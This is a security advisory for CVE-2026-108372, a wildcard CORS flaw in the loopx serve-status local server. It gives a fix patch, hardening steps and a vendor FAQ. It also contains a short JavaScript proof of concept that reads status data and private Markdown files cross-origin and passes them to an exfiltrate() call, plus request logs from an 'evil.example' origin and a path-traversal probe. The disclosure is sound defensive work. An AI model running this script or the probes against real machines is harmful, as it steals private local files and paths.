CVE-2026-108372

LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142

GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."

POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable

While loopx serve-status is running, a page on any origin can run:

// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}

and read back:

• GET /status.json, the whole status projection: goal ids, run history, and local
  absolute paths (registry, runtime_root). With --global-registry this covers
  every project registered on the machine, not just one.
• GET /review-material?goal_id=…&path=…, the content of any .md/.markdown
  file under a goal's repo root, state dir, or runtime dir. In practice that is the
  operator's private design notes, handoff docs, and evidence write-ups.
• GET /, endpoint discovery, including which write APIs are enabled.
• POST /control-plane/configure-goal/dry-run, this route has no Origin check at
  all, and do_OPTIONS returns Access-Control-Allow-Headers: Content-Type, so a
  cross-origin JSON POST passes preflight. The response leaks the before/after
  control-plane configuration for a goal. (It does not write, I verified written=false.)

docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.

Two things make this more than theoretical:

1. Fixed default ports. 8765 (project) and 8766 (global) are hardcoded defaults, so
   an attacker page can simply try both, no discovery step needed.
2. It is documented as a persistent service. docs/guides/getting-started.md documents
   loopx serve-status, and scripts/macos-dashboard-launchagent.sh installs a LaunchAgent
   that keeps serve-status --global-registry --port 8766 running after every login. For
   anyone following that guide, this is an always-on, machine-wide read surface.

I have graded this High on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point, you know your users' setups better than I do.

Kodem intelligence

Already deployed Kodem?

You already have the right predicate in this file, is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)

and the same in do_OPTIONS. This keeps the dashboard working, it is served from
http://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added, while denying every
non-loopback origin.

Two optional hardening steps, if you want them:

• Apply the existing is_loopback_origin() check to POST /control-plane/configure-goal/dry-run
  and POST /reward/dry-run too, so the config projection is not readable cross-origin.
• Add a Host header check (reject a Host that is not loopback) to close DNS rebinding
  against clients that do not send Origin.

1. What is CVE-2026-108372? CVE-2026-108372 is a high-severity security vulnerability in loopx (pip), affecting versions >= 0.0.1, < 0.4.5. It is fixed in 0.4.5.
2. Which versions of loopx are affected by CVE-2026-108372? loopx (pip) versions >= 0.0.1, < 0.4.5 is affected.
3. Is there a fix for CVE-2026-108372? Yes. CVE-2026-108372 is fixed in 0.4.5. Upgrade to this version or later.
4. Is CVE-2026-108372 exploitable, and should I be worried? Whether CVE-2026-108372 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-108372 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-108372? Upgrade loopx to 0.4.5 or later.